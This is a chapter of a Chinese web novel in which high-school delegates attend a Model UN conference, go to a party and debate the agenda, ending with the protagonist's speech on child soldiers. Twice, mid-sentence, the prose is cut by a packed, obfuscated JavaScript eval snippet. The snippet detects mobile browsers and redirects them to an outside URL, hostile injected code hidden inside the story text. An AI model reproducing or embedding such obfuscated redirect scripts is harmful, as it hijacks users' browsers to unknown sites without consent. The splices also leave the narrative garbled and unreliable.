李知恩似乎有些惊讶,嘴角微微扬起:“你要求挺高的,既要让读者学到东西,又要保证读者阅读时的情绪 。” 她笑了笑,接着说,“不过,这本书完全能满足你的需要。只要你不讨厌读历史,随便你翻开这本书的任何一页,你都可以看下去。作者的用词很风趣,他笔下描绘的社会万象、世间百态栩栩如生,读者也能身临其境地见证时代的更替。我从昨天看到现在,居然能在南韩找到类似的情景。” “这么好看?”顾梓聿被这么高的评价吸引了,“你真是个成功的推销员,这书能借我看看吗?” “不能。”李知恩调皮一笑,整个人都生动了许多,“我要让你怀抱着这样热切的好奇心,自己去买一本来看!” “好吧好吧,”顾梓聿无奈地一笑,拿出手机拍下了这本书的封面,“这本书的出版社和作者都应该往你的银行账户上打一笔酬金!” 李知恩笑着收起书,起身走到顾梓聿右手边坐下:“你在哪个委员会啊?” “我在 SHCC,The Thirdmittee of the General Assembly,主要负责社会、人道主义和文化议题。” “真巧,我也是。”李知恩慢慢地说,从她的语气里,顾梓聿可没体会到半点惊喜的意思:南韩的女孩都是这么文静的吗? “你是哪个国家的代表啊?”李知恩又问。 “我代表的是珀利尼西亚共和国。” 顾梓聿在看到对方同情的眼神后,大方地笑了笑。 HMUN 模联大会的国家分配遵循“先到先得”与代表团过往表现相结合的规则,几个举足轻重的常任理事国都被分给往年表现优秀的代表团,冷门小国则留给剩下的人。 但比现实更加理想化的是,在模联的大会会场上,国家主权平等这一原则是真正成立的,这也就意味着,所有会员国都拥有平等代表权,抢不到大国不代表就失去了舞台,手中有投票权,即使是在世界政局中最被边缘化的国家也能扭转局势。 对顾梓聿来说,拿到珀利尼西亚共和国根本不是挫败。他清楚,最终能否脱颖而出,全凭参会前的准备和现场的发挥。 参会前的准备工作,包括研读背景指导文件、了解代表国家的国情和议题,以及提交代表国家的立场文件。会上,则需要在规定的发言时间内发表演讲、充分辩论,利用意向条和用餐时间与其他代表磋商谈判、形成国家集团,最后写出草案,通过投票表决得到最终的决议。 顾梓聿的准备工作应该说是做得很周全了。搜集信息是第一步,知己知彼才能百战不殆。他除了去学习了解珀国的政治结构、历史文化等大概背景信息、搜查了珀国关于讨论议题的公开发言立场,还研究了该国的潜在盟友和立场对立方,自己列出了一张可合作对象清单。 唯一的短板,就是他没实战经验。此前的全部练习,只有和杜若钦、田元元、郭弢的几次桌边模拟。顾梓聿可以完成包括“公共演讲—辩论—谈判—解决冲突—达成共识—写草案”这一整套流程吗?这些只能临场发挥,这也无怪乎连郭弢都替他捏了把汗。 “嘿!你朋友吗?” 杜若钦不一会儿就回来了,她看着顾梓聿和李知恩相聊甚欢,笑着打了个招呼,“你好,我是顾梓聿的朋友,我叫杜若钦,You can call me Chin。” 李知恩字正腔圆地发准了杜若钦的全名,笑道:“我叫李知恩,很高兴认识你。” 这样自我介绍的场景发生在这个会场的每个角落,越早找到同一委员会里的盟友,越容易在正式会议中立于不败。 很快,顾梓聿的前后左右都坐满了人,他前面坐了一群来自星洲的学生,聊开了之后,虽然他们讲的索伦语有着很浓的口音,但语速快、表达清晰,顾梓聿意外地非常适应,很快打成一片。 会场人越来越多,也变得嘈杂,没过多久,灯光变暗,一段庄重又不失节奏感的音乐响起,大家渐渐安静下来。 “欢迎大家来到本次 HMUN 大会,我是大会主席洛朗-亨利,我谨代表我们所有工作人员,欢迎你们的到来!” 一片热烈的掌声响起,还有口哨声、尖叫声,此起彼伏混作一团。顾梓聿看不太清讲话的人长什么样,就放弃了探头探脑的努力。不过,这声音听起来倒是蛮有亲和力的。 “…这次大会,我们迎接了近300个代表团、超过4200位来自全世界的学生。根据代表的地域分布情况、性别平衡状况,以及代表参加模联的次数,我们尽量公平地分配了国家与议题,希望大家能有很好的体验。如果有不足之处,感谢大家的理解与包容…” “…大会的总时长为四天半,使用的议事规则为罗伯特议事准则,会前活动包括地球村展会、主题派对以及会议结束前的募捐晚会。模联大会的时长为三天,特殊机构所需天数一到三天不等…” 罗伯特议事准则,简单来说就是六要素:动议,附议,陈述议题,辩论,表决,宣布结果。 动议是整个会议的中心,提出动议才能开启议事流程。代表针对某一议题提出动议,若有其他代表附议,该动议即被采纳,正式进入讨论程序。此时,主席将重新陈述议题,明确讨论的中心,接下来,辩论开始。 辩论阶段遵循四项基本原则: 机会均等原则:每位代表仅可发言一次,所有申请发言者将被列入发言名单; 限时限次原则:主席有权设定每位代表的发言时长和次数,以提高讨论效率; 立场明确原则:代表在发言前必须表明立场,避免无效讨论; 发言完整原则:除主席外,任何人不得打断发言代表,确保讨论的公平与有序。 充分辩论结束之后,表决以简单多数或三分之二多数原则裁决,最终形成的会议决议具有约束力。在国际联盟中,这一文件相当于一项“法律”,用于处理议题所涉的实际争议或问题。 “…我们在世界公共事务联盟、和平与安全委员会、国际法与条约委员会、区域性实体以及特殊机构下模拟36个委员会,围绕近70个热门议题展开磋商与辩论。” “这些议题包括人权保障、气候变化对全球粮食安全的影响、跨国反恐合作、教育公平、移民经济融合、遏制化学武器使用、加速裁核及核不扩散、结束非法野生动物贸易和捕鲸、中等收入国家的发展与合作、推广可持续能源发展,以及艾滋病的预防与治疗等,目标是推动各方协商共识,并形成相关决议,实现全球共赢。” 顾梓聿认真听着,他被分配到的委员会是在和平与安全委员会下属的社会、人道主义和文化委员会。妇女与儿童基本权益的保障、消除种族主义和种族歧视、促进言论自由和自决权等等都属于人权讨论的范畴,人权是一个永恒的话题。 但除此之外,刚才这一连串听下来,他对好多议题都感兴趣,脑子里立刻跳出几个关键词,特别是这个“通过可持续消费和生产预防海洋塑料污染”:海洋能调节气候、提供淡水、食物及能源,它的存在对地球和人类都至关重要,但污染和海洋酸化,将对海洋生态系统功能的运转与生物多样性产生灭绝性的影响,海洋一旦垮塌,人类也难以独善其身。 唉,要是自己可以分.身,把感兴趣的委员会都参加一遍,该有多好啊! 他小声地问李知恩对哪个议题感兴趣,却被她特别正经地“嘘”了一下,只好偃旗息鼓,乖乖地安静听洛朗-亨利讲话。 杜若钦看了他一眼,觉得有点好笑:“真喜欢的话,下次再来呗。反正到时候你人也在索伦了,不用再坐十几个小时飞机了。而且,下次你再来的时候,就不用羡慕我朋友多了,那时候你肯定也已经认识很多人了。” 嗯,这个建议很有诱惑力,顾梓聿默默在心里的小记事本记上了一笔。 金乌西沉,天光渐渐暗了下来,会场里的照明用灯一个接一个地无声亮起,营造了一种时间在此停驻的感觉。 台上,洛朗-亨利致辞结束,现在是国际联盟的代表官员继续发言。台下,一直有人在窃窃私语。顾梓聿看看左右:李知恩还一直正襟危坐,全神贯注地听着台上的人讲话;杜若钦早放松地靠在椅背上,眼神虚虚地望向前方,无意识地把自己的手指扭出各种高难度造型,不知神游到哪儿去了。 顾梓聿昨晚本就没睡好,今天一早还特地起早去见方灵烨,一整天绷着神经,现在终于松弛下来,只觉得脑袋开始打晃。台下学生们交头接耳的嗡嗡声是绝佳的白噪音,偏生现在正在讲话的这位官员语调平平无奇,说话又是那种深思熟虑的慢节奏,听着听着,他眼皮越来越沉,尽管他始终努力想要把眼睛瞪大,最终还是昏昏沉沉地睡过去了。 不知道过了多久,耳边的声音突然像是调高了清晰度似的,他从那种似睡非睡的状态中一下子被惊醒——开幕式结束了,有几个特别委员会开始准备入场了,而他和李知恩所在的委员会明早才正式开始。 意识到自己居然在开幕式上睡过去了,顾梓聿尴尬极了,不动声色地揉了揉酸痛的脖子,也不好意思问刚才都讲了些什么。杜若钦体贴地没揭穿他,特别自然地说:“你看起来像是没休息好,经验之谈啊,免费告诉你,今天晚上好好休息一下,养足精神,要知道,之后几天你想睡觉可就没有这么容易了!” “嗯,我知道了。”顾梓聿乖乖听话,确实他自己也觉得是有些疲乏。 “若钦,梓聿,你们今天晚上会去参加那个派对吗?”李知恩问道,她似乎有些踌躇,需要新朋友陪她一起壮壮胆子,“我的同学们大部分今天就开始会议了,估计是都不会去。” “我是要去的,”杜若钦一脸的兴致勃勃,“说真的,他们的提供的酒真的都挺不错,免费的,干嘛不喝?再说了,我明天又没有会议要准备。” “学姐,你还会喝酒?”顾梓聿震惊了。他一直以为这位冰山学姐是那种“只喝白开水、只睡图书馆”,清心寡欲、不近世俗红尘、与派对夜蒲这种事情完全无关的人。 “再说了,我们刚刚不是才和莫骁天聊过圈子里会议的乱象?是你说的酒色误人、开会就要集中在学术上啊?”学姐这双标玩得挺溜啊?顾梓聿的世界观都被冲击了——这是只许州官放火、不许百姓点灯吗? “呵,小孩,这你就不懂了吧?”杜若钦眯了眯眼,勾起一个往常在学校里绝不会出现的挑衅的笑,“国内那群人是只懂得玩,这里呢,是 play hard work harder!” 顾梓聿摸了摸鼻子,识相地闭嘴:反正你老大,你说了算。 “知恩,你有男朋友了吗?”杜若钦随口一问,完全没觉得这问题有多八卦、多冒犯,语气自然得像是在问今天吃了什么。 “嗯,还没有呢。”李知恩居然也就回答了,丝毫不见尴尬。 “那今晚一定要把握机会!”杜若钦仿佛很有经验似地,一手揽过小妹妹,简直是要手把手教她如何“猎男”,李知恩一脸淡定地听着,也仿佛是在认真汲取经验。 什么情况?这两位是什么时候变得这么熟了?顾梓聿一脑门的黑线险些要具象化了:“诶诶,你们悠着点啊!这才第一晚!” “顾梓聿,”杜若钦一手揽了李知恩,一脸理所当然,“你不跟我们俩一起吗?” 我,我究竟是为什么要跟你们一起啊?!顾梓聿被学姐这一脸的理直气壮给打败,没好气地说:“你刚才也说了,我需要好好休息。” 话虽这么说,他又有点不放心——两个女生晚上单独去派对,确实不太安全。要不,还是跟着? 李知恩也看向他,虽然没有说话,但那双眼睛显然正在无声地邀请他:她的瞳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15430870|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色很浅,此时在光照下显得琥珀样剔透,光华流转。她蜂蜜色的长卷发轻轻披散,从巴掌小的脸两旁倾泻下来,腻白细滑的肤色被锁骨链一衬,晕上了层柔柔的光。 “不想去?那你早点回去休息。”杜若钦倒也没强求,随意挥挥手就要走。 “我去。”顾梓聿鬼使神差地改了主意。 “真好,”李知恩笑着说,“今天晚上一定很有意思。” 她说华纳语的腔调软而柔,就像小学门口老爷爷手里滚出的棉花糖,每个音节都软软地蹭过人的心头,一下子就融化了,留下甜甜的余味。顾梓聿忽然意识到,自己大概没法真的说“不”。 李知恩的那种气质是很难描述的,“女生中的女生”,不论是说话、走路、微笑、颔首,她都如弱柳临风、娇花映水。再看杜若钦,冷面冰山御姐的做派,简直是所到之处寸草不生。 顾梓聿脑子里飞快地切换过几个熟悉面孔。李知恩和苏影都不是华纳人,可性格却天差地别:苏影外向活泼、健谈率直;李知恩却更含蓄一些,这也许是在截然不同的西方文化和东方文化下成长的结果。同样是外向的性格,苏影很能体察他人的情绪,姜明珺则是更精灵古怪一点,她那个爱偷懒的性子也不知道是随了谁。 至于张瑾妤…奇怪的是,他们已经这么久没见,他却还能一动念就能回忆起她清晰的面容,带着微微的笑,那种仿佛洞悉一切又体谅一切的包容的笑。明明他们同年,可张瑾妤却总给他一种包容他、保护他的亲切感。 “哇。”李知恩轻轻惊叹了一声,打断了他的走神。 他们已经到了派对会场——人山人海,热闹非凡,几乎所有没安排晚间会议的代表都聚在这里。 “大家都不用为明天做准备的吗?”顾梓聿是真心疑惑,声音被淹没在轰隆隆的背景音乐中。 “等明天你就明白了。”杜若钦一脸的高深莫测,“我第一年的时候也像你一样纳闷,后来发现这真的是文化差异——我们讲节制,重要日子前会早睡早起,他们呢,必须先疯一场,要多嗨就玩得有多嗨,第二天照样精神百倍清清爽爽地上场,学不来的。你待会儿逛一圈就和知恩回去吧。” 顾梓聿无语,学姐对刚认识的小妹妹倒是很体贴,对他就像工具人,指使得毫不含糊。还没来得及吐槽,李知恩站得比刚才近了一点,或许是人多,她下意识地靠拢,声音压得很低:“里面人多,别走散了。” “……嗯。”顾梓聿点了点头,不动声色地在她另一侧站定,不远不近,刚好能挡风遮人。 如果是她,他大概也不介意多当一会儿工具人吧。 像这样的派对,其实更准确的说法是“aperitif”,一般只提供酒水饮料和小点心,供客人们自助拿取。宾客们三三两两,一边品酒一边寒暄。吃饱并非重点,社交才是主场,而酒,更像是一种破冰器,是拉近距离的借口。 顾梓聿规规矩矩地从桌上拿了一杯红酒,小小抿了一口。他以前听顾仲景说过一点品酒的知识,对酸度、甜度、单宁有点印象,但说起年份、产区、酒庄,他完全就是个外行,连酒的品种都时常分不清。 “这是波尔多的Merlot。”杜若钦端着酒杯走过来,“酒庄不算出名,不过味道还可以,果味偏浓,甜度偏淡。你可以配这个,”杜若钦往自己餐盘里夹了片油浸番茄干,“绝配。” “学姐,你懂得好多啊!”顾梓聿是真的佩服地五体投地,自家学姐不仅是模联大神,连品酒上的造诣也已经登峰造极了。 杜若钦一脸坦然地收下赞美,然后指了指酒瓶标签:“这酒瓶上写得明明白白,Bordeaux,Merlot,那两单词那么大呢。” 顾梓聿一口酒差点没呛出来。他赶紧拿起酒瓶仔细研究起来,好掩饰刚才那一秒的社死危机。果不其然,瓶身标签不仅写明了产地和品种,甚至还有风味注释:果味浓郁。 行吧,至少学姐懂得梅洛酒要配番茄干,这点还是比他强的。 李知恩捧着一杯啤酒站在一旁,一脸苦色。 “怎么?”顾梓聿看着她一脸抗拒的表情,和她手里那一杯啤酒,一下子福至心灵,“不好喝?” “嗯,又苦又酸。”李知恩那样子,像个被迫吃苦药的小孩,但尽管皱着眉头,她看起来也是好看的。 “你以前没怎么喝过酒?”他下意识问,声音放得很低。 “没怎么喝过。”她回得诚实。 这倒真是有些出乎顾梓聿的意料。南韩的酒文化有多昌盛,他也是有所耳闻的,年轻人间,酒精几乎是一个不可或缺的社交方式。不管是入学式、聚会还是毕业旅行,这样的场合如果不喝酒,一定会和同龄人格格不入,继而被排挤。在消费酒精饮料这方面,李知恩完全是一个非典型的南韩女孩。 他接过李知恩手里的啤酒,目光在长桌上扫了一圈,问道:“你喜欢柠檬、石榴还是薄荷?” 李知恩偏了偏头,有些疑惑他想做什么,但还是认真地回答:“我不喜欢薄荷,另外两个都还行,嗯,还是更喜欢柠檬吧。” “好。”顾梓聿手一探,拿起一瓶 lemonade,慢慢往啤酒杯里加,眼看着快够分量了,再轻轻放入两块冰块。 “Panaché,尝尝。” 李知恩接过这杯酒,试探性地小小抿了一口:原来印象里啤酒那种苦涩的味道被除得一干二净,只剩下柠檬的酸酸甜甜。被微微冰镇过后的酒精饮料此刻喝起来就像是她平常会喝的果味饮料一样,清爽可口。 “一下子不一样了!”李知恩这会儿喝了一大口,又接着一大口,但看起来还是很淑女的样子。 “慢点喝。”顾梓聿好笑地看着她,“只是酒的味道被盖住了,但它还是酒,小心一下子喝太急。” “你说这叫……Panaché?” “对,‘羽毛’的意思,就是啤酒加柠檬汁,如果再加了姜汁,就叫 Shandy;如果我刚才加的是石榴糖浆,那这就叫 Tango;如果又有石榴又有柠檬,那就是 Monaco;如果加的是你讨厌的薄荷,就叫 Valse。” 顾梓聿又就着李知恩手中的酒杯倒了点石榴糖浆,红宝石样的浆液在青绿色的酒体里慢慢扩散,变幻出不一样的颜色晕影。 “这回就是 Monaco 了?”李知恩的记忆力显见得很好,刚才那一串她早已记得分明,此刻捧着手里这杯不禁跃跃欲试,得到了顾梓聿一个鼓励的眼神,她轻抿一口,旋即眼睛都亮了起来:“这个味道更好!” 顾梓聿一笑。 他原先也不懂这些,这都是之前出去参加音乐节时学的。音乐节上不缺音乐,但更不缺的是啤酒。他跟着新交的朋友们在一起时,人手一大杯子冰啤,而他实在喝不进去。那些人当时也很是惊讶,一句句的 “you must be kidding me”,不相信他居然不会喝酒,最后还是把各种糖浆和果汁加进去,才让他入了门。 “虽然容易入口,但可能反而会不知不觉喝太多,你自己心里注意点就是了。” “嗯嗯。”李知恩乖乖点头,又笑,“我现在也算是’会喝酒’了吧?” “那你还得多练练。”顾梓聿看着她,语气轻松地开了个小玩笑。 “你们俩别傻傻杵在这啦,快去跟你们委员会的代表套近乎,”杜若钦不知何时出现在他们身后,忽然一手搭上两人肩膀,一边推一边笑着喊,“去吧,皮卡丘!” 57.大会首秀 顾梓聿最后大概待到十点便离开了,带着李知恩一起——巧的是,李知恩住的和他是同一家酒店,两人喝得不多,精神尚好,尽管外头还飘着雪,他俩一路连走带小跑,很快就到了酒店。 顾梓聿回房之后,放了满满一缸热水,整个人放松地沉进水里,闭着眼,任热流从四面八方包裹着他,灌进他的鼻腔和耳道。 不像屋内虚燥的暖气,热得他皮肤干、血肉却还是冰的。这水的热是真真正正地贴着他的四肢百骸,一寸一寸地渗透皮肤血肉,一直到把他心里冻着结冰的那一小块也给融化了。 他在水下闷着,长长吐出一口气,这口气像是要把今天早上受的委屈一口吐尽似的,又长又缓。浮出水面时,他整个人泡得通红,像只被煮熟了的大螃蟹,慢吞吞从浴室里裹了浴袍出来。浴袍宽大,袖口松松地绕在他的手臂上,显得他有些单薄。 男孩等把自己擦吧擦吧干净了,海藻一团的头发也蓬松了,才缩进被窝。有洁癖的顾仲景是从不用外边的枕套被套的,顾梓聿心大的很,倒没这毛病。只是他也不爱让外面的被子接触脖颈口鼻,主要是害怕床上用品没清洗干净,惹得他过敏。 可现在,他头脸都埋在被子里,又因为他腿长,被子往上提了下边就盖不住了,只得把自己团成圆鼓鼓的一堆,像是母胎里的婴儿,终于找到了那个最具安全感的姿势。 他没有失眠,头一沾枕头就睡了过去。 这一夜,顾梓聿做了一个好梦,翌日醒来,他一时恍惚不想起身,还以为自己在梦境中,直到手摸到脸颊上未干的泪珠,才恍然大悟,明白自己身处何处。 洗漱、练琴,一气呵成。昨夜他休息得很好,那个好梦对他很慷慨,还残余了点美好的情绪在他大脑里,此时镜子里的自己看起来就精神十足,眼睛亮的像星,洋溢著昂扬斗志:自己已经准备好了! 顾梓聿踩着时间点到的会场,人都到的差不多了。他站在门口环顾一圈,找到倒数第三排自己那块写着“The Republic of Polynesia”的小牌子,迈步走进去。一路上,他笑得亲切又自然,跟擦肩而过的各国代表点头问好、交换名片,偶尔还能寒暄两句。等到他走到自己位置上的时候,又新认了十多个国家代表的脸,兼收了十多张风格各异的名片。 玩转模联的第一要素——厚脸皮。 这么大的会场百来号人,谁都不认识谁,如果不主动破冰,三天下来,可能还是只认识前后左右那几位。所谓合纵连横方能以弱胜强,若手中人脉寥寥无几,就算是腹有张良计,也是巧妇难为无米之炊啊。 趁着脑子还清醒,顾梓聿飞快地在每张名片上写下外貌特征,他并非天生记忆力超群,对认人脸还是维持在正常人的水平上,不趁早记录,肯定一转眼就会弄混。 他刚记完,话筒被敲响,整个会场都安静下来,一个干练果断的女声响起:“大家早上好,为了确保接下来的发言能传达到每个人耳边,请肃静。” 她的索伦语很流利,也正确,但就是听起来有一点小小的别扭。 “我是此次会议的主席夏浓·布朗(Chanon Blanc),在我的左手边是副主席黛西·皮尔森(Daisy Pearson)和大卫·汤姆森(David Thomson),以及主席助理安东尼奥·布莱克(Antonio Black )。我在这里的目的就是为大家服务, ‘主席是会议的仆人’,我希望我们能一起度过富有成果的三天。” 哦,明白了。看她的名字,Chanon Blanc,名和姓都是很典型的弗兰希斯裔,难怪她说索伦语会带有一点点法语的腔调。 不过,副主席黛西?顾梓聿眼神飘过去,居然真的是那个昨天下午遇见的、“眼睛很漂亮”的黛西。 哦不对,应该是昨天下午遇见的、“做志愿者”的黛西。 顾梓聿想把“眼睛很漂亮”这个标签摘下来、扔进垃圾桶,好彻底忘掉它——昨天自己的尴尬样子,怕是已经被对方收入黑历史了。 夏浓接着说:“我宣布,本委员会第一次全体会议正式开始。” 话音刚落,伴随着夏浓落槌,会议正式拉开帷幕。 主席助理安东尼奥开始点名:“尊敬的代表,现在点名正式开始,被点到的国家请举起你们的国家牌并回答到。” 按照国家英文名首字母顺序,第一个国家就这样进入大众视野:“ The Republic of Abulaka(阿布拉卡共和国)?” “到!”阿巴拉卡共和国的代表举起国家牌喊到,顾梓聿顺着声音望过去,只能看到一个黑乎乎的后脑勺。 “好的,阿巴拉卡共和国的代表出席。”安东尼奥重复了一遍,开始叫下一个国家。 顾梓聿边听边默默在本子上记录每个国家代表的长相和方位,要是看不见长相的话,他就记声音的特点。偌大一个会场,点名也花了不少功夫,趁着这时间,顾梓聿也顺便确认了几个熟人的位置:李知恩、林亦凡、同校代表团的另外几位代表,还有昨晚在派对上结识的新朋友。 听到顾梓聿报到后,代表们纷纷朝他看来,他则微笑着颔首致意。 玩转模联的第二要素——成为 B-King。 角色扮演最重要的就是信念感。首先要有 B-King 一样莫名其妙、高得超出天际的爆棚自信,相信自己就是本国外交官,是带着本国人民的期许站在这个会场上的,作为一国外交使节,风度、应变能力、表达能力都应该出类拔萃,只有这样,才能说服别的国家,替自己的国家争取到最大的利益。 “好的,本次会议应到国家数 183,实到国家数 183,本次会议的法定人数,即投票表决所需要的人数,是会员国的简单多数,即 92。本次会议有超过三分之二会员国出席,会议可以正常进行。” 安东尼奥结束点名,夏浓接过话筒:“本次会议有两个议题供选择,我建议首先确定议题,赞成首先讨论议题A的国家,请举起国家牌。” 顾梓聿坐着没动。 安东尼奥逐一记录后,夏浓又问:“谢谢,赞成先讨论议题B的国家,请举牌。” 这回顾梓聿举起了“The Republic of Polynesia”的国家牌。 议题A是“通过教育赋权女性”,议题B是“战事中的童子军问题”。对于珀国来说,两者都与国情息息相关,但策略上,B议题更符合当下政局利益。 珀国是农业国,工业化程度低,性别比例失衡,女性社会地位极低。传统的婚姻制度和落后的生产方式让女性被牢牢绑定在家庭中,包括受教育、财产自决、政治自由、婚姻自由、性平等等基本权利都接近于无。 婚姻方面,珀国的法律承认一夫多妻制,在珀国,童婚随处可见,进入婚姻后的女性就意味着要承担其家庭的责任,受教育的权利和机会自然被剥夺。工作方面,由于珀国以小农经济为主,还未进入大型工业化农业的阶段,技术的落后与生产力上的差异凸显了女性体力上的劣势,于是男性负责在外工作,女性则被绑定在了家庭劳动中。 女性没有工作,就没有收入,没有独立的经济能力,更不必说之后的各种自由及权利。自然而然地,社会生活中,珀国部长级以上官员全为男性,各个行业都是由男性占领主导地位。 而关于议题B,珀国则是纯粹的受害者。近年来在珀国边境,儿童频繁被极端组织诱拐、操控,成为童子军中的一员。就在不久前,社交平台上流传甚广的视频里,一名身穿极端宗教服饰、目测十岁左右的男孩手持枪械,处决了被绑架的人质,而这名男孩经过辨认,正是珀国两年前被上报失踪的孩童之一。 毫无疑问地,珀国总统在国际上和子民前颜面扫地,以至于这位一向没什么突出政绩的“浆糊”总统居然发表公开声明,要向诱拐孩童的极端组织开战。 因此,从本国政府立场来看,优先处理童子军问题,才符合珀国的执政逻辑:解决如今被聚焦的童子军问题,才能迅速平息民愤、挽回国际形象。而女性权利问题早已隐蔽地存在了数百甚至上千年,久到甚至连女性本身都未意识到她们是处于被奴役和被损害的。维持如今的现状,珀国的社会和政局都能保持稳定,若妇女突然要通过接受教育来找回自己的权利了,那所引起的连锁反应而导致的社会动荡,可不是一朝一夕就能解决的。 所以,尽管顾梓聿本人发自内心地关心妇女权益,也非常愿意通过促进保障妇女受教育的权利来提升她们的社会地位,但玩转模联的第三要素即为——不可 OOC。 OOC,out of character,同样脱胎于角色扮演游戏,指的是新人在角色扮演过程中出现了人设崩坏现象,例如吝啬成性的葛朗台突然愿意倾尽家财投入慈善事业,倒拔垂杨柳的鲁智深一夜间成了个胆小怕事、手无缚鸡之力的爱哭包,立场先行,角色优先。 作为珀国的代表,顾梓聿的第一且唯一任务就是站在现实世界里珀国的立场上维护珀国的利益,这也是这个大型 TRPG 游戏里最“it sucks”的一点。 你是谁的代表,就得捍卫谁的利益,不能因为个人好恶而失去角色信念。 夏浓从支持A和支持B的国家中各抽取三位,组成临时发言名单,六位持相反意见的代表将以一正一反的顺序,进行交叉发言。 “请各位代表阐述选择首先讨论该议题的理由,发言时间为90秒。” “现在,珀利尼西亚的代表,你有90秒的发言时间。” 各国代表的立场文件一个月前就开始陆续提交了。在183份文件中,珀利尼西亚代表撰写的关于“战事中的童子军”的立场文件在夏浓心里,能跻身前五。 大部分的文件都中规中矩:总结历史举措、列现行政策、引用数据和政府文件,力图接近真实,给出了本国的立场,并就如何与其他国家协同合作解决该问题,提出了有可能的解决方案,该有的都有,打个及格分没问题。 但顾梓聿的那一份,是超过平均水准的出色。 文件的口吻很符合珀国一向的外交语气,用词句式都显得官方而得体,他在文件撰写上该注意的每一点,都比别人更进了一步,以至于整篇文件看下来,夏浓竟没找到一丝漏洞。 顾梓聿首先用一句话交代了社交网络上流传已久的那个“斩首”视频,点出了珀国如今孩童被诱拐案件增加的现状;引用了珀国总统的声明,给出了珀国的立场,“坚决反对在战争中动用童子军”;列出了珀国近期制定的政策,并给出了相关的民意基础。他的文件重点突出、详略得当,在有限的篇幅内做到了最大限度的真实性、完整性、可行性。 更难得的是,他没堆砌《国际联盟宪章》或国际公约来“刷字数”,也没空谈政策,而是紧扣现实,精准呈现珀国的施政立场和现状。夏浓完全可以感受到,在这篇不到 600 字的立场文件背后,撰写者进行了多么全面又细致的调研工作。 看到了这样充分的准备工作,夏浓才愿意把这个决定议题的1/6的机会交给顾梓聿,希望他能带来精彩的发言。 尽管没预料到这突如其来的点名发言,但顾梓聿神色自若,丝毫不惧,把之前准备的立场文件放在手边,扫过一眼之后就自信地微笑,抬起头,先是环视全场,确定大部分的代表都把注意力集中到自己身上,才缓缓开口。 “Thank you Madam Chairman。” 顾梓聿首先向夏浓微笑致意,他看起来从容不迫,胸有成竹。 “珀利尼西亚认为应当首先讨论议题 B,是因为该议题更具强烈的急迫性。珀利尼西亚呼吁国际社会采取严厉的措施,禁止任何国家和组织合法或非法地征召儿童入伍,参与战斗。” 顾梓聿的语速特意放慢了些——既利于听众理解,也让他听起来更沉稳、更有底气。 “国际联盟资料显示,目前全世界有超过 40 万的儿童被迫走上战场。尽管国际社会一直在谴责并反对在武装冲突中使用童兵,但直到今天,童军依然存在。” 顾梓聿环顾一周,有意地停顿了一秒,是为了吸引大家的注意力,确认所有人都在听后,他继续发言。他的发音流畅自然,每一个连读、停顿、重读,都准确地踩在语流节奏上,让人听得舒适又投入。 “童军的事实存在,严重违反了《世界人权宣言》、《儿童权利公约》和《经济、社会及文化权利国际公约》,侵犯了儿童获得教育、享受正常生活、享有社会保护的最基本的权利。” “儿童在被洗脑、被强迫进行军事训练成为童军后,除了打仗别无所长。虽然国际联盟儿童基金会一直在努力解救童军,但即使在离开战场后,这些孩子也很难融入正常社会,甚至还会重返战场,成为对本国和其他国家的新的威胁。” “更令人痛心的是——”?顾梓聿微微垂眸,声音低下去半度,“一部分被征召的女性童军,还被迫提供性服务。” 他没有加大音量,没有煽情,但那股克制住的愤怒,比任何呐喊都更震撼人心。会场里安静得几乎能听到笔尖在纸上滑过的细响。 “由于缺乏卫生知识与基本医疗保障,她们极易怀孕。由于缺乏心理辅导和物质支援,她们既无法照顾自己,也无力承担抚养后代的责任。每个儿童都有权利拥有一个公平的生命开端,而在这种情况下诞生的孩子,从出生就无法享受安全、健康、教育等等最基本的权利,就更容易因为对食物和金钱的需求而被招募进童军。” “这样的恶性循环,会让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436038|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代际的悲剧永远持续下去,进而危害全世界各国的安全。” 最开始,摆明车马,亮出观点;然后,言简意赅地援引相关国际公约的立场,点题;接下来最重要的,就是通过强调童军的危害,令各国都保持警惕。 其实顾梓聿并不愿意去强调童军回归社会的困难性、更不愿意去强调他们回归后给社会带来的潜在危害。但正所谓事不关己高高挂起,切肤之痛,才会没齿难忘。只有大家都意识到,童军的存在是一种威胁,而且是正与自己国家息息相关,人们才会真正行动起来。只有强调这是一个绝对不能坐视不管的问题,今天的问题才不会变成明日的灾难,吞噬全世界。 顾梓聿看了眼计时器,正好还剩下 7 秒,正好结尾。 他收束语气,最后一击: “尊敬的主席,珀利尼西亚认为,基于上述事实,我们必须首先讨论议题B,让’瘦弱的孩子扛着比自己还高的步枪’这一耻辱画面,永远消失。” 话音落下,时间正好归零。 夏浓微微颔首,正要说“Next one please”,角落里却响起“啪啪啪”几声孤零零的掌声。那个新手代表很快就意识到了自己是唯一一个鼓掌的,尴尬地把手悄悄放下。 发言后不鼓掌,这是默认的规则。 李知恩回过头看向顾梓聿:他的唇轻抿,微微带着点笑意,唇色嫣红,却因为他那青葱的少年气丝毫不显女气。他的鼻梁挺直,鼻尖微翘,还有那额前落下的一绺自然卷曲的漂亮弧度,恰好落在他那如星辰璀璨的眼前。 他抬头的瞬间,李知恩猝不及防撞进那双眼里,看见那里写满了锋芒毕露的骄傲。 夏浓忍住笑,若无其事地:“下一位奥兰共和国的代表,你有90秒的发言时间。” 